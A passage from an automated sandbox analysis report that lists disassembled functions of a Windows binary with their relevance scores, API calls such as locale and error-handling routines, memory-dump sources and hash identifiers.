                                                                                                                                                                                                                                                  • Instruction ID: 5e152f869c28aaeaaabb5276416ac6e539c1f81536db6b13622661993e59fd60
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: bb884551f176a9bb8caebf05ed802771b027973748fa2bc11bfd46a1c1b878fc
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DFF0F93A920227ABDF245A36C80EFBB77D4EB40354F154429ED45A3280EA70FD51C690
                                                                                                                                                                                                                                                  Function 002967B6 Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: GetLastError.KERNEL32(?,002D63F0,00288EBE,?,?,0028906D,?,?,00000000,?,?,?,00000003,00281362,?,002812D1), ref: 0028CFDA
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: SetLastError.KERNEL32(00000000,?,002814E0,?,?,?,?,?,00000000,?,?,?,0028AE99,002D3820,0000000C,0028B157), ref: 0028D07C
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0029680A
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$InfoLocale
                                                                                                                                                                                                                                                  • String ID: utf8
                                                                                                                                                                                                                                                  • API String ID: 3736152602-905460609
                                                                                                                                                                                                                                                  • Opcode ID: 9f4179f1f4e92181948f897b4b4e5955f6c89cef9a968981509e85243a4004e7
                                                                                                                                                                                                                                                  • Instruction ID: e517a9071c4beeeafacd9118e280e59b357e02dd59a1902eb64820241c8b6bac
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9f4179f1f4e92181948f897b4b4e5955f6c89cef9a968981509e85243a4004e7
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1BF02832A21205ABDB14AF34DC4EEBA33ECEF49310F11407AFA06D7281EA74AD048B54
                                                                                                                                                                                                                                                  Function 00296943 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: GetLastError.KERNEL32(?,002D63F0,00288EBE,?,?,0028906D,?,?,00000000,?,?,?,00000003,00281362,?,002812D1), ref: 0028CFDA
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: SetLastError.KERNEL32(00000000,?,002814E0,?,?,?,?,?,00000000,?,?,?,0028AE99,002D3820,0000000C,0028B157), ref: 0028D07C
                                                                                                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(00296C21,00000001,00000000,?,-00000050,?,00296FC3,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0029698D
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2417226690-0
                                                                                                                                                                                                                                                  • Opcode ID: 962c59c8446d3df98c69c0db948e153dd0cd89e5ffab1b922812a2920444f360
                                                                                                                                                                                                                                                  • Instruction ID: 0f33fa808df3247b945f69dcb92ea075fe78e79d4e08269a82f412943cdcc05f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 962c59c8446d3df98c69c0db948e153dd0cd89e5ffab1b922812a2920444f360
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F9F046363103055FEF146F79D889A7ABBD1EF81768B05482DFA454B680C6B1AC02CB10
                                                                                                                                                                                                                                                  Function 0028D47B Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028894A: EnterCriticalSection.KERNEL32(-002D80F0,?,0028A3A8,00000000,002D3738,0000000C,0028A36F,?,?,0028DCEA,?,?,0028D174,00000001,00000364,00000000), ref: 00288959
                                                                                                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(0028D46E,00000001,002D3940,0000000C,0028D8BE,00000000), ref: 0028D4B3
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalEnterEnumLocalesSectionSystem
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1272433827-0
                                                                                                                                                                                                                                                  • Opcode ID: 1f60c8f59c4555c3a3a5815bbafa13068cd250134bae91a97cc8560b4540eb7a
                                                                                                                                                                                                                                                  • Instruction ID: 6b93b393ebe5ca73949bbbecde3bbfddd57b07ebc6d183d57c1bd552be7b8b4a
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1f60c8f59c4555c3a3a5815bbafa13068cd250134bae91a97cc8560b4540eb7a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E5F01436A11204EFDB00EFA8E846B9977F0FB09721F00822AE4059B2E1DB7559148F41
                                                                                                                                                                                                                                                  Function 0029685D Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: GetLastError.KERNEL32(?,002D63F0,00288EBE,?,?,0028906D,?,?,00000000,?,?,?,00000003,00281362,?,002812D1), ref: 0028CFDA
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: SetLastError.KERNEL32(00000000,?,002814E0,?,?,?,?,?,00000000,?,?,?,0028AE99,002D3820,0000000C,0028B157), ref: 0028D07C
                                                                                                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(002967B6,00000001,00000000,?,?,00297021,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00296894
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2417226690-0
                                                                                                                                                                                                                                                  • Opcode ID: 764701edf7a5abe8977c77b469eec299e274e63195c089c53532843c3558cffa
                                                                                                                                                                                                                                                  • Instruction ID: 29706212cabb1ef45d1f28ce13a24e83c0761dca8e4f26f0bc2a836f16210e76
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 764701edf7a5abe8977c77b469eec299e274e63195c089c53532843c3558cffa
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 00F0E53A71020697CF04AF75DA49A6ABFD4FFC2714B0A4059FB098B690D671E952CB90
                                                                                                                                                                                                                                                  Function 0028D9C2 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0028C719,?,20001004,00000000,00000002,?,?,0028BD1B), ref: 0028D9F6
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2299586839-0
                                                                                                                                                                                                                                                  • Opcode ID: c59b00698a95d3552d493939727837607b94109a4741ea8b5ae2cf322e88acc5
                                                                                                                                                                                                                                                  • Instruction ID: 407b708de2c4f14aff27cbff573609168e35b1068d5e12d22ded8bb098b40d7e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c59b00698a95d3552d493939727837607b94109a4741ea8b5ae2cf322e88acc5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 83E01A36511228BBCF123F61EC09A9E3F2AEB45761F014021FD05661E1CB728D35ABA1
                                                                                                                                                                                                                                                  Function 0027D1D0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32(Function_0006D1DC,0027CA9C), ref: 0027D1D5
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3192549508-0
                                                                                                                                                                                                                                                  • Opcode ID: c797b9288e71140248973e5b0f1948f2307542887424ae315eac8e4af0d81245
                                                                                                                                                                                                                                                  • Instruction ID: 2f93307d3d861a5f8e78df6f57bb4f9f26abc4a4044e79aab52a630d2a3682c7
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c797b9288e71140248973e5b0f1948f2307542887424ae315eac8e4af0d81245
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                                                                                                  Function 00215410 Relevance: .7, Instructions: 682COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: e861c549485384c768f670e5fb67551579717d59833868d832c588fdb365086a
                                                                                                                                                                                                                                                  • Instruction ID: 1648185063842bbb8982d47b7d90fed2e81864de9ea24e32dd5753526683e16b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e861c549485384c768f670e5fb67551579717d59833868d832c588fdb365086a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5D22B4B7B547144BD70CCE1DCCA23A9B2D3ABD4218F0E853DB48AC3345EA7DD9198685
                                                                                                                                                                                                                                                  Function 002910D9 Relevance: .6, Instructions: 637COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 483cc768b8f9b22bb6b46f9dfd7a8f5152098d64a501b502f8853c82e2804161
                                                                                                                                                                                                                                                  • Instruction ID: 4033797cff56b3f61e29ef0ffc7a1c9626d52bf08b9b188c646a566eaa602b60
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 483cc768b8f9b22bb6b46f9dfd7a8f5152098d64a501b502f8853c82e2804161
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3E320221D39F034DEB239635DD26335A24DAFB73C5F15DB27E81AB5AA6EB28C4934100
                                                                                                                                                                                                                                                  Function 00274E30 Relevance: .6, Instructions: 566COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: e67e8de01a0fd7d1a6601acb1c3b27d2fa1beb8382696a4be710fdfd727f7e80
                                                                                                                                                                                                                                                  • Instruction ID: cd9a78ef616126cb2cee4a2fd043b371076a20030b6b50889204c7efaabce942
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e67e8de01a0fd7d1a6601acb1c3b27d2fa1beb8382696a4be710fdfd727f7e80
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0522BC71A106269FDB25DFA8C884BAEFBB1FF44310F148169E809AB351C771ED51CB90
                                                                                                                                                                                                                                                  Function 00274F50 Relevance: .6, Instructions: 560COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 2638649f79bcb35581ffb90d6941a8dc2d6f613db3f6eda41e23b5dd1883aec2
                                                                                                                                                                                                                                                  • Instruction ID: 6940f474d6fb616bad926bcf44819c7982760afc0f43c2ee0f752b144776c194
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2638649f79bcb35581ffb90d6941a8dc2d6f613db3f6eda41e23b5dd1883aec2
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BB227C71A10629DFDB15DFA8C884BAEFBB1BF48300F158198E819AB351C7B5ED51CB90
                                                                                                                                                                                                                                                  Function 00270CE0 Relevance: .5, Instructions: 502COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 09a49bf1fc0ad1753b1a6a460b42467e9f6da1ba1218da342d7813e9e4fced52
                                                                                                                                                                                                                                                  • Instruction ID: 9cdc74e0593261fdfaad72b4ae637be65ef085904e573151e4cb34610d845506
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 09a49bf1fc0ad1753b1a6a460b42467e9f6da1ba1218da342d7813e9e4fced52
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1002B571B282618BDB1CCE1DC49022DBBE2BFC8305F154A2DE49AD7385C674D959CB85
                                                                                                                                                                                                                                                  Function 00286067 Relevance: .4, Instructions: 388COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: a301b9bd88930e887084cb6b1e3328c99db42748b3d148724f88868a5bef5979
                                                                                                                                                                                                                                                  • Instruction ID: 0593b4051a9d68dd48a9d57f235ff1f687f79ec0d3a60f07a6a51e61595ad738
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a301b9bd88930e887084cb6b1e3328c99db42748b3d148724f88868a5bef5979
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 46E1FD38A226068FCB24EF68C588A6EB7F1FF45314F248659D45A9B3D2C731EC65CB11
                                                                                                                                                                                                                                                  Function 00276C60 Relevance: .4, Instructions: 358COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 75e1126cfc428847dbd3011ba09e6e60f02ba00fbeff50f9f4f2c17ce95f67a5
                                                                                                                                                                                                                                                  • Instruction ID: f0e196c01d368266a25d0c42fed39e9bd7707240ced5bf662bc57b3605d235f2
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 75e1126cfc428847dbd3011ba09e6e60f02ba00fbeff50f9f4f2c17ce95f67a5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F5F162709142518FD308CF1AE8A483AB7E1FBC9305F458A1FF99697391C734EA1ADB61
                                                                                                                                                                                                                                                  Function 00285CD9 Relevance: .3, Instructions: 344COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 01fc0bf0d6059433a31d5f67154ea2589930fe965c37db0954c8c81e7d92a33a
                                                                                                                                                                                                                                                  • Instruction ID: 6f5dc9f0a1cce309ec51839420d3483f3d7101bc118953c2f9a5341e05205897
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 01fc0bf0d6059433a31d5f67154ea2589930fe965c37db0954c8c81e7d92a33a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 40C1167C522A578FCB28EF28C4886BEB7F1BF05300F244519D9569B6D1D730AD66CB50
                                                                                                                                                                                                                                                  Function 0021E220 Relevance: .2, Instructions: 227COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
